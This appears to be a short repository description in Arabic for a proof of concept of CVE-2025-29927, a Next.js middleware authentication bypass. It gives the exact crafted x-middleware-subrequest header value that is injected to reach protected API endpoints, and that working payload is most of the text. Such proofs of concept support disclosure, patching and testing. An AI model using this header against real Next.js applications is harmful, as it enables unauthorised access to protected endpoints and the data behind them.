0xcucumbersalad/cve-2025-29927إثبات المفهوم لثغرة CVE-2025-29927: يتجاوز مصادقة الوسيطة (middleware) في Next.js عن طريق حقن رأس x-middleware-subrequest مصمم خصيصًا للوصول إلى نقاط نهاية API المحمية.
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware كرأس